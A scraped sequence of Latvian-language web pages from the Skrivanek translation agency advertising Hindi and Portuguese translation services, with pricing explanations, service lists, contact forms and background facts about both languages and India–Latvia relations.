ķīniešu–poļu; ukraiņu–ķīniešu; ķīniešu–ukraiņu; čehu–ķīniešu; ķīniešu–čehu; vācu–ķīniešu; ķīniešu–vācu; spāņu–ķīniešu; ķīniešu–spāņu; franču–ķīniešu; ķīniešu–franču; itāļu–ķīniešu; ķīniešu–itāļu; dāņu–ķīniešu; ķīniešu–dāņu; zviedru–ķīniešu; ķīniešu–zviedru; norvēģu–ķīniešu; ķīniešu–norvēģu; somu–ķīniešu; ķīniešu–somu, ķīniešu–arābu; arābu–ķīniešu; ķīniešu–armēņu, armēņu–ķīniešu; ķīniešu–baltkrievu, baltkrievu–ķīniešu; bulgāru–ķīniešu, ķīniešu–bulgāru; ķīniešu–ebreju, ebreju–ķīniešu, ķīniešu–grieķu, grieķu–ķīniešu; ķīniešu–gruzīnu; gruzīnu–ķīniešu; ķīniešu–hindi; hindi–ķīniešu; ķīniešu–holandiešu; holandiešu–ķīniešu; ķīniešu–korejiešu; korejiešu–ķīniešu; ķīniešu–kurdu; kurdu–ķīniešu; ķīniešu–ukraiņu; ukraiņu–ķīniešu; ķīniešu–portugāļu; portugāļu–ķīniešu; ķīniešu–rumāņu; rumāņu–ķīniešu; ķīniešu–slovāku; slovāku–ķīniešu; ķīniešu–slovēņu; slovēņu–ķīniešu; ķīniešu–turku; turku–ķīniešu; ķīniešu–ungāru; ungāru–ķīniešu u. c. --- > Dažādu dokumentu un pasākumu tulkojumi hindi valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs. - Published: 2022-01-03 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/hindi-valodas-tulkojumi/ - Translation Priorities: Optional TULKOJUMI HINDI VALODĀ / TULKOT HINDI VALODĀ CIK MAKSĀ HINDI VALODAS TULKOJUMI? Mūsu tulkošanas birojā katra tulkojuma cena no/uz hindi valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, kā notariāli apstiprināti tulkojumi u. c. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu pakalpojumu cenrādis no/uz hindi valodu ir viena no mūsu sadarbības līguma ar klientiem daļa. Mūsu tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HINDI VALODĀ: dokumentu tulkošana hindi valodā; tekstu korektūra; notariāli apliecināts tulkojums; mājaslapu tulkošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi hindi valodā; individuālie hindi valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus hindi valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI HINDI VALODĀ / TULKOT HINDI VALODĀ CIK MAKSĀ HINDI VALODAS TULKOJUMI? Mūsu tulkošanas birojā katra tulkojuma cena no/uz hindi valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, kā notariāli apstiprināti tulkojumi u. c. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu pakalpojumu cenrādis no/uz hindi valodu ir viena no mūsu sadarbības līguma ar klientiem daļa. Mūsu tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HINDI VALODĀ: dokumentu tulkošana hindi valodā; tekstu korektūra; notariāli apliecināts tulkojums; mājaslapu tulkošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi hindi valodā; individuālie hindi valodas kursi. Meklējiet valodu risinājumus hindi valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR HINDI VALODU Hindi ir indoeiropiešu valodu saimes indoāriešu valodu atzara valoda. Tā gan ir tikai vēlamā Indijas oficiālā valoda, jo liela daļa valsts darījumu joprojām notiek arī angļu valodā un citās Indijas konstitūcijā atzītās valodās. Senā hindi valoda veidojās uz hindustāņu valodas Deli dialekta (kharībolī) agrīnā posma pamata un ir uzskatāma par mūsdienu hindi un mūsdienu urdu valodas priekšteci. To runāja “hindi jostas” tautas, īpaši Deli apkārtnē aptuveni 13. –15. gadsimtā. Ir saglabājušies tikai nedaudzi literārie pieraksti senajā hindi valodā, tostarp daži dzejnieka, sūfiju dziedātāja Amīra Khusrau darbi, svētā dzejnieka Namdeva panti un daži sūfiju svētā Bābā Farīda panti Adi Grantā. Senā hindi valoda sākotnēji tika rakstīta Dēvanāgarī un vēlāk arī perso-arābu valodā. Hindi, vai precīzāk mūsdienu standarta hindi, ir ziemeļu un centrālajā Indijā runātas valodas (vai dialektu saimes) nosaukums (tā dēvētā “Hindi josla”). HINDI ALFABĒTS Hindi pieraksta Dēvanāgarī rakstīšanas sistēmā, kurā pieraksta daudzas valodas, ieskaitot sanskritu, hindi, marathu, sindhu, bihāri, bhili, marvaru, konkanu, bhodžpūru, nepāliešu, nevaru valodu Nepālā un dažreiz kašmīriešu valodu. Tā tiek lietota tikai vai kopā ar citām rakstu sistēmām vairākās Indijas valodās. Standarta hindi alfabētā, par ko vienojusies Indijas valdība, ir 11 patskaņi un 35 līdzskaņi. Tomēr tiek uzskatīts, ka tradicionālais hindi alfabēts sastāv no 13 patskaņiem un 33 līdzskaņiem un aptuveni 300 miljoni cilvēku var rakstīt Dēvanāgarī rakstībā. Tā ir trešā visizplatītākā rakstīšanas sistēma pēc latīņu alfabēta un ķīniešu rakstzīmēm. Burti अं un अः tiek skaitīti kā patskaņi tradicionālajā hindi valodā un kā līdzskaņi standarta hindi valodā. Lielākā daļa pieturzīmju hindi valodā ir tādas pašas kā angļu valodā. Izņēmums ir teikuma beigu zīme, proti, angļu valodas punkta vietā hindi valodā lieto – danda (।). Dēvanāgarī jeb "dievišķās pilsētas rakstība" tika izveidota mūsu ēras 12. gadsimtā no senindiešu brahmi rakstības. Šī raksta ortogrāfija atspoguļo valodas izrunu. Atšķirībā no latīņu alfabēta rakstībā nav burtu jēdziena. Tiek dota priekšroka simetriskām noapaļotām formām kvadrātveida kontūrās, un to var atpazīt pēc horizontālas līnijas, kas iet gar visu burtu augšdaļu. Dēvanāgarī raksturīgākās pieraksta pazīmes: burti tiek rakstīti zem vienas horizontālas līnijas − matra; visi burti ir vienāda izmēra − nav dalījuma lielajos un mazajos; zilbju rakstīšana– līdzskaņos pēc noklusējuma ir iekļauta īsa skaņa "a". Piemēram: क "k" skan kā "ka". Izņēmums: vārda pēdējā līdzskanī skaņa "a" netiek izrunāta; Dēvanāgarī ir ligatūras − vairāku līdzskaņu kombinācijas, starp kurām nav patskaņu skaņas. CIK SAREŽĢĪTA IR HINDI VALODA? Hindi valoda ir viena no sarežģītākajām valodām pasaulē, tiek uzskatīts, ka rakstības sistēma, ko izmanto, lai rakstītu hindi − dēvanāgarī, ir īpaši grūti uztverama tieši gramatisko formu dēļ, kas nav raksturīgas citām valodām. Sarežģītāku to rada arī fakts, ka atsevišķas rakstzīmes attēlo līdzskaņu un patskaņu kombināciju, nevis vienu patskani vai līdzskani. Grūti ir arī saprast hindi valodas pareizo izrunu, jo hindi valodas rakstītajā versijā trūkst noteiktu fonētisku apzīmējumu, kas norādītu, kā izrunāt vārdu, kuru zilbi uzsvērt. Hindi valoda ir īpaši smalka valoda izrunas ziņā, kurā nelielas skaņas un konteksta izmaiņas var pilnībā mainīt vārda nozīmi. Tajā pašā laikā, hindi valodai piemīt maigs, jauks un gaumīgs labskanīgums. KUR UN CIK DAUDZ RUNĀ HINDI VALODĀ? Indijā hindi valodu kā pirmo valodu lieto gandrīz 425 miljoni cilvēku un kā otro valodu vēl aptuveni 120 miljoni cilvēku. Nozīmīgas hindi valodas runātāju diasporas ir arī Dienvidāfrikā, Maurīcijā, Bangladešā, Jemenā, Surinamā, Nepālā, Trinidādā un Tobago un Ugandā. “HINGLISH” – ANGĻU VALODA AR INDIEŠU GARŠVIELĀM “Hinglish” ir mūsdienu Indijas jauniešu valoda. Tā ir divu Indijas oficiālo valodu sajaukums. Hindi valoda spēlē pamata lomu un saglabā savus gramatikas likumus, bet no angļu valodas tiek pievienoti atsevišķi vārdi vai frāzes. Indijas angļu valodā runā aptuveni 350 miljoni cilvēku. Angļu valoda Indijā parādījās 17. gadsimtā britu baznīcas misionāru laikā. 18. gadsimtā attīstījās tirdzniecība ar Lielbritāniju, tāpēc kļuva izdevīgi mācīties angļu valodu. Pamazām tā kļuva par Indijas muižniecības valodu. 19. gs. 20. gados Mahātma Gandijs sāka cīņu par Indijas neatkarību. Un 1965. gadā hindi valoda kļūst par Indijas oficiālo valodu. Tagad tajā runā vairāk nekā 500 miljoni cilvēku. Sarunvalodā abas valodas sāka sajaukties, veidojot jaunu valodu sajaukumu. “Hinglish” ienāca biznesa, tirdzniecības, izglītības jomā. Mūsdienās to izmanto reklāmas kampaņās, saukļos un plakātos. Angļu valodas vārdu lietojums liecina, ka šis valodas sajaukums ir moderns un orientēts uz jauniešiem, lielākoties pilsētās. “Hinglish” tiek izmantots filmu, televīzijas un mūzikas kanālos. Bez angļu valodas zināšanām Indijā ir grūti atrast prestižu darbu, augstākās izglītības iestādēs izglītība notiek angļu valodā. “Hinglish” tiek saukts arī par vietējo angļu valodas vārdu izrunas veidu. Nav skaidru robežu vai noteikumu, un tāpēc angļu valodas indiešu versija pastāvīgi mainās, kļūstot bagātāka. Angļu valodas lietošanas iezīmes hindi valodā: galotnes "dži" pievienošana nosaukumiem kā cieņas izpausme; vārdi tiek uzsvērti netipiski angļu valodai: Ókay Okáy vietā; Indieši bieži beidz teikumus ar kvalificējošu jautājumu "na? " – "vai ne? "; lieto darbības vārda formu infinitīvā, pagātnes laiku veido, izmantojot vārdu pirms ("before"), nākotnes – pēc ("after"); izrunā var dzirdēt maigu "L", bet "Z" vietā – "J". HINDI VALODAS TULKS UN TULKOTĀJS Skrivanek hindi valodas tulku un tulkotāju komanda nodarbojas galvenokārt ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Mēs nodrošinām arī tekstu hindi valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Ņemot vērā hindi valodas bagāto vēsturi, Indijas vēsturi un tradīcijas, mūsu valodu speciālisti sniegs informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Tulkošanas birojs Skrivanek visbiežāk veic šādus tulkojumus no/uz hindi valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga un juridiskā satura tulkojumu. Pateicoties strauji augošai ekonomiskai sadarbībai starp Latviju un Indiju, veicam arī tulkojumus šādās jomās − iekārtas un tehnoloģijas, loģistika, medicīna, komunikācijas, sabiedriskās attiecības, datoru aparatūra un programmatūra, zinātne, lauksaimniecība, tehnoloģiju tulkojumi. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus uz/no hindi valodu. Tiek veikti arī mutiskie tulkojumi biznesa, kultūras un medicīnas jomās. HINDI VALODA BIZNESĀ Indija šobrīd piedzīvo vienu no straujākajiem ekonomikas kāpumiem, grūti ir iedomāties vēl kādu citu valsti, kurā saražo pilnīgi visas preces. Tādējādi Indijas IKP strauji aug. Mūsdienās daudzi ārvalstu uzņēmumi sadarbojas ar Indijas uzņēmējiem, jo Indija paver ļoti plašas biznesa darījumu iespējas. Gandrīz 60% cilvēku pilsētās izmanto hindi valodu saziņai un informācijas iegūšanai interneta vidē. Tādēļ arī ļoti daudzas pasaulē populārākās interneta platformas, lietotnes un tīmekļa vietnes tiek adaptētas piedāvāt informāciju arī hindi valodā. 80% cilvēku Indijā nerunā angliski, un 127 miljoni indiešu dod priekšroku informācijai vietējās valodās. Šī statistika liek domāt, ka Indijas vietējām valodām ir un būs būtiska nozīme mūsdienu biznesā. Cilvēki jūtas ērtāk, saņemot informāciju reģionālajās valodās. Daudzi slaveni zīmoli pielāgo sniegto informāciju klientiem saprotamā valodā, kas palīdz tiem piesaistīt vairāk klientu. Indijā cilvēki ir emocionāli cieši saistīti ar savu kultūru, valodu un valsti. Pat ja patērētājs zina angļu valodu, piesaistīt vieglāk viņa interesi par produktu būs, izmantojot viņa dzimto valodu. Protams, angļu valoda tiek uzskatīta par starptautiskā biznesa valodu. Tiek lēsts, ka Indijā, kas piedzīvoja gandrīz 200 gadu ilgu koloniālo britu varu, ir vairāk nekā 200 miljoni cilvēku, kas runā šajā valodā. Tādēļ ārpus Indijas indiešu uzņēmēji labprāt lieto arī angļu valodu. Bet Indijā, īpaši Indijas ziemeļos, pārsvarā runā hindi valodā, to biežāk arī izmanto biznesa sarunās. Tāpēc biznesa cilvēkiem un studentiem, kuri vēlas veikt uzņēmējdarbību Indijā un izprast kultūru, ir ārkārtīgi svarīgi runāt labā hindi valodā. INDIJAS UN LATVIJAS DIVPUSĒJĀS ATTIECĪBAS Latvijā pagaidām nav atvērta Indijas vēstniecība. Latvijas vēstniecības Indijā (Ņūdeli) atvēršana notika 2014. gadā, un Ārlietu ministrija 2020. gada sākumā ir paudusi cerību, ka Indija tuvākajos gados arī Rīgā varētu atvērt savu vēstniecību. Līdz ar to šobrīd tuvākā Indijas vēstniecība Latvijai atrodas Stokholmā (Zviedrijā). Latvijas vēstniecība Indijā: https://www2. mfa. gov. lv/india Galvenās Indijas eksporta preces uz ES ir tekstilizstrādājumi, lauksaimniecības produkcija, ķimikālijas, bet importā no ES − ķīmiskās rūpniecības un tās saskarnozaru produkti, mašīnas un mehānismi. Vairāki lieli Indijas uzņēmēji ir investējuši līdzekļus Latvijas uzņēmumos. Latvija ir ieinteresēta paplašināt ekonomiskās attiecības ar Indiju tādās jomās kā transports un loģistika, informācijas tehnoloģijas, farmācija, biotehnoloģijas un tūrisms. 2018. / 2019. akadēmiskajā gadā Latvijā augstāko izglītību ieguva 2070 studenti no Indijas, lielākoties Indijas studenti Latvijā studē medicīnu. 2015. gada 28. −30. maijā, sadarbojoties Latvijas un Indijas universitātēm, Rīgā notika Starptautisks zinātnes forums, kas veltīts Latvijas un Indijas sadarbībai zinātnes, izglītības un biznesa jomās. Lai sekmētu Latvijas un Indijas sadarbību izglītības, zinātnes un kultūras jomā 2013. gadā nodibināts Latvijas Universitātes Indijas studiju un kultūras centrs, piedāvājot apgūt arī hindi valodu un jogas kursus. 2014. gada 31. janvārī Čennajā atklāts pirmais Latvijas augstākās izglītības centrs, ko ir izveidojušas un dibinājušas 7 Latvijas augstskolas. 2015. gada 1. jūnijā izveidots Komplimentārās medicīnas centrs, lai sekmētu izpratni par komplementāro medicīnu un tās veidiem, kā arī veicinātu sadarbību starp Latvijas un starptautiskām institūcijām komplementārās medicīnas jomā. LU Medicīnas fakultātē ir iespēja studēt Ajūrvēdas profesionālās pilnveides izglītības programmā. Indijas valdība kopš 1995. gada piešķir Latvijas speciālistiem mācību stipendijas kvalifikācijas celšanai dažādās tautsaimniecības nozarēs ITEC (Indian Technical and Economic Cooperation) programmas ietvaros. Indijā stažējušies ārsti, vides aizsardzības speciālisti, ekonomisti, valodnieki, kā arī Saeimas, Ārlietu ministrijas un Valsts kases darbinieki. 2016. gada 7. augustā Haridvārā, Indijā, Dev Sanskriti universitātē tika atklāts Baltijas valstu kultūras un valodu centrs. 2016. gada 13. janvārī Deli Pasaules grāmatu tirgū prestižā Indijas izdevniecība "Vani Prakashan" prezentēja hindi valodā izdoto Noras Ikstenas grāmatu "Dzīves stāsti’’. Šis ir pirmais mūsdienu latviešu literatūras tulkojums hindi valodā kopš neatkarības atjaunošanas. Stāstus tulkojusi indiešu rakstniece, esejiste un tulkotāja Tedži Grovere. HINDI VALODAS DIENA Tauta ir mēma bez valsts valodas /Mahatma Gandijs/ Indieši svin savu hindi valodu divas reizes gadā. 10. janvāris katru gadu tiek atzīmēts kā Pasaules Hindi diena, lai vairotu izpratni par hindi kā starptautisku valodu visā pasaulē. Dienu īpaši atzīmē Indijas vēstniecības ārvalstīs. 1975. gadā 10. janvārī Mahārāštras štata Nāgpurā notika pirmā Pasaules Hindi konference. Konferenci atklāja toreizējā premjerministre Indira Gandija, un tajā piedalījās kopumā 30 valstis. 2006. gadā bijušais premjerministrs Manmohans Singhs paziņoja, ka 10. janvāris katru gadu tiks atzīmēts kā Pasaules Hindi diena. Šī bija arī pirmā reize, kad Ārlietu ministrijas hindi valodas dienu sāka svinēt ārvalstīs. Hindi ir ceturtā visvairāk runātā valoda pasaulē pēc angļu, spāņu un mandarīnu valodas. Indijā tā ir viena no divām oficiālajām valodām kopā ar angļu valodu. Hindi Divas jeb Nacionālā Hindi diena tiek atzīmēta katru gadu 14. septembrī, lai atgādinātu, ka Satversmes sapulce 1949. gada 14. septembrī pieņēma hindi valodu (dēvanāgarī rakstībā) par oficiālo valsts valodu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HINDI VALODĀ: dokumentu tulkošana hindi valodā; tekstu korektūra; notariāli apliecināts tulkojums; mājaslapu tulkošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi hindi valodā; individuālie hindi valodas kursi. HINDI VALODAS KOMBINĀCIJAS: hindi–latviešu; latviešu–hindi; hindi–lietuviešu; lietuviešu–hindi; igauņu–hindi; hindi–igauņu; angļu–hindi; hindi–angļu; krievu–hindi; hindi–krievu; poļu–hindi; hindi–poļu; ukraiņu–hindi; hindi–ukraiņu; čehu–hindi; hindi–čehu; vācu–hindi; hindi–vācu; spāņu–hindi; hindi–spāņu; franču–hindi; hindi–franču; itāļu–hindi; hindi–itāļu; dāņu–hindi; hindi–dāņu; zviedru–hindi; hindi–zviedru; norvēģu–hindi; hindi–norvēģu; somu–hindi; hindi–somu; hindi–arābu; arābu–hindi; hindi–armēņu, armēņu–hindi; hindi–baltkrievu, baltkrievu–hindi; bulgāru–hindi, hindi–bulgāru; hindi–ebreju, ebreju–hindi, hindi–grieķu, grieķu–hindi; hindi–gruzīnu; gruzīnu–hindi; hindi–ukraiņu; ukraiņu–hindi; hindi–holandiešu; holandiešu–hindi; hindi–korejiešu; korejiešu–hindi; hindi–kurdu; kurdu–hindi; hindi–ķīniešu; ķīniešu–hindi; hindi–portugāļu; portugāļu–hindi; hindi–rumāņu; rumāņu–ukraiņu; hindi–slovāku; slovāku–hindi; hindi–slovēņu; slovēņu–hindi; hindi–turku; turku–hindi; hindi–ungāru; ungāru–hindi u. c. --- > Dokumentu tulkojumi, mutiskie tulkojumi, valodu kursi un citi valodu risinājumi portugāļu valodā. Uzziniet vairāk! - Published: 2021-12-30 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/ - Translation Priorities: Optional TULKOJUMI PORTUGĀĻU VALODĀ / TULKOT PORTUGĀĻU VALODĀ CIK MAKSĀ TULKOŠANA PORTUGĀĻU VALODĀ? Tulkojumu cena no/uz portugāļu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairākas komponentes, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz portugāļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM PORTUGĀĻU VALODĀ: dokumentu tulkošana portugāļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; portugāļu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi portugāļu valodā; individuālie portugāļu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus portugāļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI PORTUGĀĻU VALODĀ / TULKOT PORTUGĀĻU VALODĀ CIK MAKSĀ TULKOŠANA PORTUGĀĻU VALODĀ? Tulkojumu cena no/uz portugāļu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido vairākas komponentes, saskaņā ar tulkošanas biroja Skrivanek spēkā esošo cenrādi. Secīgo tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, kurā tulkojums būs nepieciešams. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz portugāļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM PORTUGĀĻU VALODĀ: dokumentu tulkošana portugāļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; portugāļu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi portugāļu valodā; individuālie portugāļu valodas kursi. Meklējiet valodu risinājumus portugāļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR PORTUGĀĻU VALODU Portugāļu valoda pieder pie indoeiropiešu valodu saimes romāņu valodu grupas. Portugāļu valodas saknes ir meklējamas Galisijas autonomajā apgabalā, kas atrodas Portugāles ziemeļos un Spānijas ziemeļrietumos. Galisiešu valoda bija vietējo dialektu un latīņu valodas sajaukums, un aptuveni 14. gadsimtā, kā pēcteču valoda, izveidojusies portugāļu valoda. Pat mūsdienās portugāļu un galisiešu valodas runātājiem nav grūti vienam otru saprast. Taču portugāļu valoda ir relatīvi tuva arī spāņu valodai. Eksistē tikai divi portugāļu rakstu valodas standarti, kas lietojami mācīšanai — Eiropas (Luzitānijas) portugāļu un Brazīlijas portugāļu, kuru pareizrakstības un leksikas atšķirība ir kā starp britu un amerikāņu angļu valodām, tomēr ietver arī dažas gramatiskas atšķirības. Runājamās portugāļu valodas dialekti tomēr ir ļoti dažādi pēc akcenta un leksikas. Pastāv desmit galveno dialektu zonas Portugālē un tai piederošās salās. Starp portugāļu valodas dialektiem Spānijā izceļas galisiešu dialekts, kurš dažreiz ir uzskatāms par atsevišķu valodu politisku mērķu dēļ. Brazīlijā dialekti saglabā daudzas indiāņu un afrikāņu, kā arī Eiropas emigrantu valodu leksiskas pēdas. Mūsdienu portugāļu valodas atdzimšana Angolā un Mozambikā tika nodrošināta ar plašu valodas standartizāciju, taču kaitējot dialektiem. Portugāļu valodā nav gramatisko locījumu, toties darbības vārdu konjugāciju skaits var šķist bezgalīgs. Katram darbības vārda laikam ir sešas dažādas konjugācijas. Turklāt vietniekvārdu (es, 